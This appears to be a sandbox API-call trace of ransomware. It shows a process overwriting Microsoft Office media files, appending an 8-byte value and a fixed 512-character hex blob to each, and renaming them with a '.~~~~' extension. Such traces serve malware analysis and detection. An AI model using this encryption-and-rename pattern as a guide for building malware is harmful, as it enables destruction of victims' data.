	[0124.358] GetLastError () returned 0x0
	[0124.358] GetLastError () returned 0x0
	[0124.363] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff5782, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.363] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xa87e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xa87e, lpOverlapped=0x0) returned 1
	[0124.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0124.365] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.366] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.366] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.366] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.366] CloseHandle (hObject=0x120) returned 1
	[0124.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf090
	[0124.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.~~~~")) returned 1
	[0124.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf090 | out: hHeap=0x300000) returned 1
	[0124.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.368] GetLastError () returned 0x0
	[0124.368] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395410) returned 1
	[0124.369] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.369] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.370] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24436061334) returned 1
	[0124.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb398d610, dwHighDateTime=0x1d60e1e)) 
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28206a8
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28206a8 | out: hHeap=0x300000) returned 1
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beff8
	[0124.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.372] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.372] GetLastError () returned 0x0
	[0124.372] GetLastError () returned 0x0
	[0124.372] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.372] GetLastError () returned 0x0
	[0124.372] GetLastError () returned 0x0
	[0124.375] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe7e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.375] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1820, lpOverlapped=0x0) returned 1
	[0124.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0124.378] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.378] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.378] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.378] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.378] CloseHandle (hObject=0x120) returned 1
	[0124.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beff8
	[0124.378] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.~~~~")) returned 1
	[0124.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3beff8 | out: hHeap=0x300000) returned 1
	[0124.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.380] GetLastError () returned 0x0
	[0124.381] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395410) returned 1
	[0124.382] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.382] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.382] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24437239865) returned 1
	[0124.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb39b3770, dwHighDateTime=0x1d60e1e)) 
	[0124.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28206e0
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28206e0 | out: hHeap=0x300000) returned 1
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf1c0
	[0124.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.383] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.384] GetLastError () returned 0x0
	[0124.384] GetLastError () returned 0x0
	[0124.384] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.384] GetLastError () returned 0x0
	[0124.384] GetLastError () returned 0x0
	[0124.386] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff5dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.386] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xa24, lpOverlapped=0x0) returned 1
	[0124.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.404] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.404] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.404] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.404] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.404] CloseHandle (hObject=0x120) returned 1
	[0124.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf090
	[0124.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.~~~~")) returned 1
	[0124.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf090 | out: hHeap=0x300000) returned 1
	[0124.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.408] GetLastError () returned 0x0
	[0124.408] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.410] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.410] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.410] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24439993087) returned 1
	[0124.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb39ffa30, dwHighDateTime=0x1d60e1e)) 
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8418
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8418 | out: hHeap=0x300000) returned 1
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf258
	[0124.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.411] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.411] GetLastError () returned 0x0
	[0124.411] GetLastError () returned 0x0
	[0124.411] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.411] GetLastError () returned 0x0
	[0124.411] GetLastError () returned 0x0
	[0124.415] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe55e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.415] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1aa2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1aa2, lpOverlapped=0x0) returned 1
	[0124.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.416] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.416] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.417] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.417] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.417] CloseHandle (hObject=0x11c) returned 1
	[0124.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf258
	[0124.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.~~~~")) returned 1
	[0124.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf258 | out: hHeap=0x300000) returned 1
	[0124.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.418] GetLastError () returned 0x0
	[0124.419] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.420] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.420] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.420] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24441046251) returned 1
	[0124.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3a25b90, dwHighDateTime=0x1d60e1e)) 
	[0124.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b83e0
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b83e0 | out: hHeap=0x300000) returned 1
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf388
	[0124.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.421] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.421] GetLastError () returned 0x0
	[0124.422] GetLastError () returned 0x0
	[0124.422] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.422] GetLastError () returned 0x0
	[0124.422] GetLastError () returned 0x0
	[0124.424] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffeb68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.424] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1498, lpOverlapped=0x0) returned 1
	[0124.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.425] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.426] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.426] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.426] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.426] CloseHandle (hObject=0x11c) returned 1
	[0124.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf388
	[0124.426] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.~~~~")) returned 1
	[0124.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf388 | out: hHeap=0x300000) returned 1
	[0124.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.427] GetLastError () returned 0x0
	[0124.428] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.429] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.429] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.429] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24441940536) returned 1
	[0124.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3a25b90, dwHighDateTime=0x1d60e1e)) 
	[0124.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b83a8
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b83a8 | out: hHeap=0x300000) returned 1
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf420
	[0124.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
